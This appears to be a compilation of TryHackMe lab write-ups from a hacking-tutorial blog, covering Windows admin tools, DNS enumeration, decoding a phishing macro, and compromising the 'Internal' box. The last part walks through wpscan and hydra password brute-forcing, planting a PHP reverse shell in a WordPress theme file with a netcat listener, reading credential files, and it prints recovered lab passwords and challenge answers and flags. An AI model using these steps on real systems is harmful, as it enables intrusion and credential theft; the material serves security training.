Windows Computer Management

We're continuing with Tools that are available through the System Configuration panel.

The Computer Management (compmgmt) utility has three primary sections: System Tools, Storage, and Services and Applications.

System Tools

Let's start with Task Scheduler. Per Microsoft, with Task Scheduler, we can create and manage common tasks that our computer will carry out automatically at the times we specify.

A task can run an application, a script, etc., and tasks can be configured to run at any point. A task can run at log in or at log off. Tasks can also be configured to run on a specific schedule, for example, every five mins.

To create a basic task, click on Create Basic Task under Actions (right pane).

 

Next is Event Viewer.

Event Viewer allows us to view events that have occurred on the computer. These records of events can be seen as an audit trail that can be used to understand the activity of the computer system. This information is often used to diagnose problems and investigate actions executed on the system.

Event Viewer has three panes.

1. The pane on the left provides a hierarchical tree listing of the event log providers. (as shown in the image above)
2. The pane in the middle will display a general overview and summary of the events specific to a selected provider.
3. The pane on the right is the actions pane.

There are five types of events that can be logged. Below is a table from docs.microsoft.com providing a brief description for each.


 

The standard logs are visible under Windows Logs. Below is a table from docs.microsoft.com providing a brief description for each.

Shared Folders is where you will see a complete list of shares and folders shared that others can connect to.

 

In the above image, under Shares, are the default share of Windows, C$, and default remote administration shares created by Windows, such as ADMIN$.


As with any object in Windows, you can right-click on a folder to view its properties, such as Permissions (who can access the shared resource).

Under Sessions, you will see a list of users who are currently connected to the shares. In this VM, you won't see anybody connected to the shares.

All the folders and/or files that the connected users access will list under Open Files.

The Local Users and Groups section you should be familiar with from Windows Fundamentals 1 because it's lusrmgr.msc.

In Performance, you'll see a utility called Performance Monitor (perfmon).

Perfmon is used to view performance data either in real-time or from a log file. This utility is useful for troubleshooting performance issues on a computer system, whether local or remote. 

Device Manager allows us to view and configure the hardware, such as disabling any hardware attached to the computer.

Storage  

Under Storage is Windows Server Backup and Disk Management. We'll only look at Disk Management.

Note: Since the virtual machine is a Windows Server operating system, there are utilities available that you will typically not see in Windows 10.  

Disk Management is a system utility in Windows that enables you to perform advanced storage tasks.  Some tasks are:

•     Set up a new drive
•     Extend a partition
•     Shrink a partition
•     Assign or change a drive letter (ex. E:)

Services and Applications

Recall from the previous task; a service is a special type of application that runs in the background. Here you can do more than enable and disable a service, such as view the Properties for the service.

 

WMI Control configures and controls the Windows Management Instrumentation (WMI) service.

Per Wikipedia, "WMI allows scripting languages (such as VBScript or Windows PowerShell) to manage Microsoft Windows personal computers and servers, both locally and remotely. Microsoft also provides a command-line interface to WMI called Windows Management Instrumentation Command-line (WMIC)."

Note: The WMIC tool is deprecated in Windows 10, version 21H1. Windows PowerShell supersedes this tool for WMI.




1) What is the command to open Computer Management? (The answer is the name of the .msc file, not the full path)

Ans :- compmgmt.msc




2) At what time every day is the GoogleUpdateTaskMachineUA task configured to run?

Ans :- 6:15 am




3) What is the name of the hidden folder that is shared?

Ans :- sh4r3dF0Ld3r


 

Disclaimer

All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

System Configuration

The System Configuration utility (MSConfig) is for advanced troubleshooting, and its main purpose is to help diagnose startup issues.

Reference the following document here for more information on the System Configuration utility.

There are several methods to launch System Configuration. One method is from the Start Menu.

Note: You need local administrator rights to open this utility.

The utility has five tabs across the top. Below are the names for each tab. We will briefly cover each tab in this task.

1.     General
2.     Boot
3.     Services
4.     Startup
5.     Tools

In the General tab, we can select what devices and services for Windows to load upon boot. The options are: Normal, Diagnostic, or Selective.

In the Boot tab, we can define various boot options for the Operating System. 

The Services tab lists all services configured for the system regardless of their state (running or stopped). A service is a special type of application that runs in the background.  

In the Startup tab, you won't see anything interesting in the attached VM.  Below is a screenshot of the Startup tab for MSConfig from my local machine.

As you can see, Microsoft advises using Task Manager (taskmgr) to manage (enable/disable) startup items. The System Configuration utility is NOT a startup management program.

Note: If you open Task Manager for the attached VM, you will notice that Task Manager doesn't show a Startup tab.

There is a list of various utilities (tools) in the Tools tab that we can run to configure the operating system further. There is a brief description of each tool to provide some insight into what the tool is for. 

Notice the Selected command section. The information in this textbox will change per tool.

To run a tool, we can use the command to launch the tool via the run prompt, command prompt, or by clicking the Launch button.




1) What is the name of the service that lists Systems Internals as the manufacturer?

Ans - PsShutdown




2) Whom is the Windows license registered to?

Ans - windows user



3) What is the command for Windows Troubleshooting?

Ans - C:\windows\system32\control.exe /name Microsoft.Troubleshooting




4) What command will open the Control Panel? (The answer is  the name of .exe, not the full path)

Ans - control.exe

Disclaimer

All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

Dig Dug DNS Server Enumeration

Turns out this machine is a DNS server - it's time to get your shovels out


Oooh, turns out, this 10.10.5.208 machine is also a DNS server! If we could dig into it, I am sure we could find some interesting records! But... it seems weird, this only responds to a special type of request for a givemetheflag.com domain?
 

Use some common DNS enumeration tools installed on the AttackBox to get the DNS server on 10.10.5.208 to respond with the flag.

Click on the link below -

DNS in detail

Dig in Networking 

WHOIS in Networking 

CEHv10 DNS

 
Passive Reconnaissance
DNS Manipulation

First, it is worth checking what ports are open on the machine. but we will jump into directly dns enumeration. If you wanna dns enumeration with dnspython then you can do it but first we will dns tool in linux after that we will make a DNS tool with the help of python programming language.

Dig

Dig is a versatile DNS lookup utility that can query domain name server records. Using Dig, we can get the flag by specifying the name server (target host’s address), the domain name, and A at the end to establish we are looking for the A record.


When you visit a website in your web browser this all happens automatically, but we can also do it manually with a tool called dig . Like ping and traceroute, dig should be installed automatically on Linux systems.


Dig allows us to manually query recursive DNS servers of our choice for information about domains:
dig <domain> @<dns-server-ip>

It is a very useful tool for network troubleshooting.


 

dig @10.10.5.208 givemetheflag.com A 

nslookup

nslookup is another tool excellent for query domain name servers. Using the target host IP as the DNS server, we can query the A record to get the flag.


 

  
  ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python]
└─$ nslookup -type=A givemetheflag.com 10.10.5.208                                                                                                                  1 ⨯
Server:         10.10.5.208
Address:        10.10.5.208#53

givemetheflag.com       text = "flag{0767ccd06e79853318f25aeb08ff83e2}"

                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python]
└─$ 
  

DNS in python 

dnspython is a DNS toolkit for Python. It supports almost all record types. It can be used for queries, zone transfers, and dynamic updates. It supports TSIG authenticated messages and EDNS0.

dnspython provides both high and low level access to DNS. The high level classes perform queries for data of a given name, type, and class, and return an answer set. The low level classes allow direct manipulation of DNS zones, messages, names, and records.

 

┌──(test)─(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python]
└─$ cat dns-find.py                                                                                                                                                 1 ⨯
#!/usr/bin/python
#import dnspython as dns
import dns
#import dns.resolver
from dns import resolver

#result = dns.resovler.query('hackingtruth.org', 'A')

result = dns.resolver.resolve('google.com', 'A')
for ipval in result:
    print('IP', ipval.to_text())
                                                                                                                                                                        
┌──(test)─(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python]
└─$ 

Disclaimer

We'll be looking at a tryhackme room called MrPhisher so it says that i received a suspicious email with a very weird looking attachment it keeps on asking me to enable Macros what are those so this straight away gives us a hint that we are going to deal with Macros So, Macros is a type of scripting language that you know you can embed in a excel or a word file so that it can even try to automate things to an extent so nothing challenging it just says that files you need are located in the home ubuntu MrPhisher on virtual machine and i have the vm(virtual machine) open up right here.
 

When we start the machine, we found two files in home directory. “MrPhisher.docm” is a document with the ability to run macros and the zip file has the same file but compressed.

If we try to get open the file, we see the document indeed contain macros.

The document shows this one image.


Now, to view and edit macros using Libre Office, go to Tools menu, choose Macros > Edit Macros. This opens a list of macros available in the currently open document.

This macro contains a visual basic script...

If you want copy this file in your loca;l machine then you can try this with netcat, To make easy the analysis and be able to download needed tools, I transferred the file to my local machine with netcat.

Local machine:

nc -nlvp <PORT> > MrPhisher.docm

Remote machine:

Setting listener and getting file.

nc <IP> <PORT> < MyPhisher.docm



As a note, is important to verify the integrity of the transferred file, in previous images you can see I checked MD5 hash, and it’s the same.

via md5sum

md5sum MrPhisher.docm
 

But we will use into vm direct.. this code is here...

Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1

Sub Format()

Dim a()

Dim b As String

a = Array(102, 109, 99, 100, 127, 100, 53, 62, 105, 57, 61, 106, 62, 62, 55, 110, 113, 114, 118, 39, 36, 118, 47, 35, 32, 125, 34, 46, 46, 124, 43, 124, 25, 71, 26, 71, 21, 88)

For i = 0 To UBound(a)

b = b & Chr(a(i) Xor i)

Next

End Sub

Three things are done here:

•     XOR operation is done with a value and it's index in the array.
•     The result of this operation is converted to a character.
•     This character is appended to a string. The resulting string is a flag for this challenge.

I wrote a Python script to solve this challenge. The code can be found down below.

#! /usr/bin/env python3

# Values array
a = [102, 109, 99, 100, 127, 100, 53, 62, 105, 57, 61, 106, 62, 62, 55, 110, 113, 114, 118, 39, 36, 118, 47, 35, 32, 125, 34, 46, 46, 124, 43, 124, 25, 71, 26, 71, 21, 88]

# Array to store letters
flag = []

# Do XOR operation with a value and it's index
for i in range(len(a)):
    flag.append(chr(a[i] ^ int(i)))

# Join letters to a word
print("".join(flag))

Lets Run

ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
ubuntu@thm-mr-phisher:~/mrphisher$ nano hackingtruth-oledump.py
ubuntu@thm-mr-phisher:~/mrphisher$ python3 hackingtruth-oledump.py
flag{a39a07a239aacd40c948d852a5c9f8d1}
ubuntu@thm-mr-phisher:~/mrphisher$ #hackingtruth.org
ubuntu@thm-mr-phisher:~/mrphisher$ #hackingtruth.in
ubuntu@thm-mr-phisher:~/mrphisher$ 

Done.

Disclaimer

We have been engaged in a Black-box Penetration Test (IP address may be differ). Our goal is to read the user flag and root flag file on machine. On some of them, you will be required to exploit a Abuse of write permission in Samba service in order to read the flag. TryHackMe Penetration Testing Challenge

Some Machines are exploitable instantly but some might require exploiting other ones first. Enumerate every compromised machine to identify valuable information, that will help you proceed further into the environment.

If you are stuck on one of the machines, don't overthink and start pentesting another one.

When you read the flag file, you can be sure that the machine was successfully compromised. But keep your eyes open - apart from the flag, other useful information may be present on the system.

You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks. 

Scope of Work

The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).  The client has asked that you secure two flags (no location provided) as proof of exploitation:

    User.txt
    Root.txt

Additionally, the client has provided the following scope allowances:

    Ensure that you modify your hosts file to reflect internal.thm
    Any tools or techniques are permitted in this engagement
    Locate and note all vulnerabilities found
    Submit the flags discovered to the dashboard
    Only the IP address assigned to your machine is in scope

(Roleplay off)

I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.

Enumeration

First thing you have to do is that which the machine you  want to attack, you have to append internal.thm and point it to target machines IP address inside hosts file on attacker machine because the reason 1 is.

As you probably already know, if you make any type of request to any hostname, the domain name gets translated to an IP address. In TCP/IP, only the IP address is transferred and not the hostname. In services such as HTTP(S), you also transfer the hostname in the “Host” HTTP header. If you visit a website through the URL with IP address in it, the Host header will contain the IP address. If you visit the URL with the hostname in it, the Host header will contain that hostname. Then it depends on the web server how it will process the request based on that header. In TLS handshake, you can also send the hostname in the “server_name” extension. So if the underlying back-end services only respond to the hostname, the easiest solution to send it natively is to modify your hosts file. The software that you use (e.g. a web browser) will do the rest. Credits: u/AMDcze (reddit).


Reason 2: One IP address can host multiple websites on same webserver through virtual hosting (vhost) technique. If by any chance the target server has any multiple websites then it would be hard to figure out which is which. By pointing DNS in hosts file you are actually saying your apps to target only the specific domain.

Reason 3: What if there are any subdomains? How to enumerate them without domain itself? While enumerating you have to expect that there’s a possibility of subdomain, so that you need domain itself. You can enumerate subdomain through an IP address

Like :-

we do thing like enumeration by nmap and we will check which which ports are open and closed and state, service, version too.

nmap -sC -sV internal.thm

  


┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
└─$ sudo nmap -sC -sV internal.thm  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 17:48 IST
Nmap scan report for internal.thm (10.10.133.153)
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.27 seconds
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
└─$ 

 
  

i visited internal.thm with port no 80, 22 etc but i didn't get any clue like any password, username, robots.txt etc.

But now we will enumeration with gobuster and find out directory and we get a likely wordpress site...

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.4.254/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/03/21 07:39:49 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.4.254/.htaccess            (Status: 403) [Size: 276]
http://10.10.4.254/.htpasswd            (Status: 403) [Size: 276]
http://10.10.4.254/.hta                 (Status: 403) [Size: 276]
http://10.10.4.254/blog                 (Status: 301) [Size: 309] [--> http://10.10.4.254/blog/]
http://10.10.4.254/index.html           (Status: 200) [Size: 10918]                             
http://10.10.4.254/javascript           (Status: 301) [Size: 315] [--> http://10.10.4.254/javascript/]
http://10.10.4.254/phpmyadmin           (Status: 301) [Size: 315] [--> http://10.10.4.254/phpmyadmin/]
http://10.10.4.254/server-status        (Status: 403) [Size: 276]                                     
http://10.10.4.254/wordpress            (Status: 301) [Size: 314] [--> http://10.10.4.254/wordpress/] 
                                                                                                      
===============================================================
2022/03/21 07:41:46 Finished
===============================================================
┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in                                                   












┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
└─$ gobuster -e .php,.html,.txt dir -u http://10.10.4.254/wordpress/ -w /usr/share/dirb/wordlists/common.txt                                                                          130 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.4.254/wordpress/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/03/21 08:09:54 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.4.254/wordpress/.hta                 (Status: 403) [Size: 276]
http://10.10.4.254/wordpress/.htaccess            (Status: 403) [Size: 276]
http://10.10.4.254/wordpress/.htpasswd            (Status: 403) [Size: 276]
http://10.10.4.254/wordpress/index.php            (Status: 301) [Size: 0] [--> http://10.10.4.254/wordpress/]
http://10.10.4.254/wordpress/wp-admin             (Status: 301) [Size: 323] [--> http://10.10.4.254/wordpress/wp-admin/]
http://10.10.4.254/wordpress/wp-content           (Status: 301) [Size: 325] [--> http://10.10.4.254/wordpress/wp-content/]
http://10.10.4.254/wordpress/wp-includes          (Status: 301) [Size: 326] [--> http://10.10.4.254/wordpress/wp-includes/]
http://10.10.4.254/wordpress/xmlrpc.php           (Status: 405) [Size: 42]                                                 
                                                                                                                           
===============================================================
2022/03/21 08:12:12 Finished
===============================================================
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
└─$ 

we will get a /blog directory and now we will visit..

As you can see from above on going process, it already found a directory that is /blog. If we visit http://internal.thm/blog then we see a blog with one single post named as “Hello World”.


It’s obvious now that this is designed using WordPress application. We have a user called “admin”, who posted this blog.


When we go to internal.thm/blog and you can see there are hello world printed wordpress website and if you do research when you have to go "view page source" and to do that press ctrl+f and type ver.

so you can see that the version and theme is twentyseven and version is 5.4.2

lets exploit because i think there are some exploitation code available for this version and the theme...


internal.thm/blog/?author=1

Otherwise we get a login page also but we don't have any password..

Wordpress enumeration

Browsing /blog confirms our assumption, this is a Wordpress blog. Let’s enumerate the users with wpscan:

wpscan --url http://10.10.4.254/blog -e u

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
└─$ sudo wpscan --url http://10.10.4.254/blog -e u 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.20
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: http://10.10.4.254/blog/ [10.10.4.254]
[+] Started: Mon Mar 21 08:35:39 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://10.10.4.254/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:02 <==============================================================================================================> (10 / 10) 100.00% Time: 00:00:02

[i] User(s) Identified:

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Mar 21 08:36:13 2022
[+] Requests Done: 49
[+] Cached Requests: 4
[+] Data Sent: 11.302 KB
[+] Data Received: 240.52 KB
[+] Memory used: 123.637 MB
[+] Elapsed time: 00:00:33
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
└─$ 

According to WPScan, the only user is admin. Let’s try to brute force the password, using the bruteforce feature of WPScan:

wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt

┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ sudo wpscan --url http://10.10.4.254/blog  --usernames admin --passwords /home/hackerboy/Desktop/tryhackme-internal/rockyou.txt
[sudo] password for hackerboy: 
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.20
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: http://10.10.4.254/blog/ [10.10.4.254]
[+] Started: Mon Mar 21 08:53:33 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.10.4.254/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://10.10.4.254/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.10.4.254/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://10.10.4.254/blog/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.4.2'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://10.10.4.254/blog/, Match: 'WordPress 5.4.2'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:13 <=============================================================================================================> (137 / 137) 100.00% Time: 00:00:13

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / my2boys                                                                                                                                                                 
Trying admin / 111111 Time: 00:00:01 <=================================                                                                                    > (10 / 34) 29.41%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: admin, Password: my2boys

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Mar 21 08:54:10 2022
[+] Requests Done: 177
[+] Cached Requests: 4
[+] Data Sent: 48.436 KB
[+] Data Received: 201.522 KB
[+] Memory used: 171.504 MB
[+] Elapsed time: 00:00:36
                                                                                                                                                                                            
┌──(hackerboy㉿KumarAtulJaiswal)-[~]
└─$ 

Username: admin, Password: my2boys

after login (http://internal.thm/blog/wp-admin/) is successful with admin:my2boys and we now have the ability to modify the templates PHP source code. This will be convenient to write a reverse shell.


In the web interface, go to “Appearance > Theme Editor > 404.php” and replace the PHP code with a PHP reverse shell (e.g. http://pentestmonkey.net/tools/web-shells/php-reverse-shell).

But before that we have to edit it to add our attacker machine IP address and port address.

We are doing this because, after this .php file execution it gives us a reverse shell on specified IP address and port.

and after than open a listener ( nc -lvnp 4444) and call the template (http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php).

-l (Listen mode, for inbound connects)
-v (verbose)
-n (Suppress name/port resolutions)
-p (Specify local port for remote connects)

Now we have a reverse shell on our machine (kali linux). Let’s move around and find out who’s the user of this machine.

There are one directory available but we don't have any access...

but there is an interesting file in the /opt directory.

NOTE- We do not have any reason to use these command but, yes if you want a SHELL on a machine through which you can easily access everything, then you absolutely can.

we have used this for clear command because it was not already available in its environment.

$ whoami
www-data
$ #www.hackingtruth.org
$ python -c 'import pty; pty.spawn("/bin/bash");'
www-data@internal:/$ export TERM=xterm
export TERM=xterm
www-data@internal:/$ ls
ls
bin    dev   initrd.img      lib64       mnt   root  snap      sys  var
boot   etc   initrd.img.old  lost+found  opt   run   srv       tmp  vmlinuz
cdrom  home  lib             media       proc  sbin  swap.img  usr  vmlinuz.old
www-data@internal:/$ cd /opt
cd /opt
www-data@internal:/opt$ ls
ls
containerd  wp-save.txt
www-data@internal:/opt$ cat wp-save.txt
cat wp-save.txt
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:bubb13guM!@#123
www-data@internal:/opt$ 

python -c 'import pty; pty.spawn("/bin/bash");'

export TERM=xterm

Even MySQL credentials can be found by inspecting the wp-config.php file – unfortunately these did not seem to server any purpose although it’s always best to check for these:

cd /var/www/html/wordpress

ls

cat wp-config.php

Logging in as the aubreanna user via SSH:

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
└─$ ssh aubreanna@internal.thm      
The authenticity of host 'internal.thm (10.10.93.158)' can't be established.
ED25519 key fingerprint is SHA256:seRYczfyDrkweytt6CJT/aBCJZMIcvlYYrTgoGxeHs4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'internal.thm' (ED25519) to the list of known hosts.
aubreanna@internal.thm's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Mar 21 14:11:08 UTC 2022

  System load:  0.0               Processes:              114
  Usage of /:   63.7% of 8.79GB   Users logged in:        0
  Memory usage: 34%               IP address for eth0:    10.10.93.158
  Swap usage:   0%                IP address for docker0: 172.17.0.1

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.


Last login: Mon Aug  3 19:56:19 2020 from 10.6.2.56
aubreanna@internal:~$ whoami
aubreanna                                                                                      
aubreanna@internal:~$ 
                                                                                                         
                                    

User flag

The user flag is in aubreanna’s home folder:


cd /home/aubreanna
ls
cat user.txt

Root.txt Flag

When enumerating the home directory, found information about Jenkins, which appears to be running on port 8080:

Since port 8080 can only by accessed locally, setting up port forwarding in order to redirect traffic to localhost on port 1234 to the target machine on port 8080:

Jenkins is now accessible from the Kali host:

Default credentials did not seem to work, capturing the login request in order to construct a Hydra command to try and brute-force credentials:

Using hydra to brute-force the password, using the following flags:

• -f to stop the attack when a valid password is found
• -l to specify the username for the brute-force attack
• -P to specify the wordlist to use for the bruteforce attack
• -s to specify the port to connect to
• the service and target to brute force
• http-post-form to specify the URL including all of the parameters used in the request, such as the username, password, and the failed authentication message

sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"

OR

sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^=%2F&Submit=Sign+in:Invalid username or password"

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
└─$ sudo hydra -f -l admin -P /home/hackerboy/Documents/rockyou.txt -s 1234  127.0.0.1 http-form-post  "/j_aceom=%2F&Submit=Sign+in:Invalid username or password"  
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organthese *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-21 21:25:51
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per t
[DATA] attacking http-post-form://127.0.0.1:1234/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&fr
[1234][http-post-form] host: 127.0.0.1   login: admin   password: spongebob
[STATUS] attack finished for 127.0.0.1 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-21 21:26:41
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/tryhackme-internal]
└─$ #www.kumaratuljaiswal.in    #www.hackingtruth.in

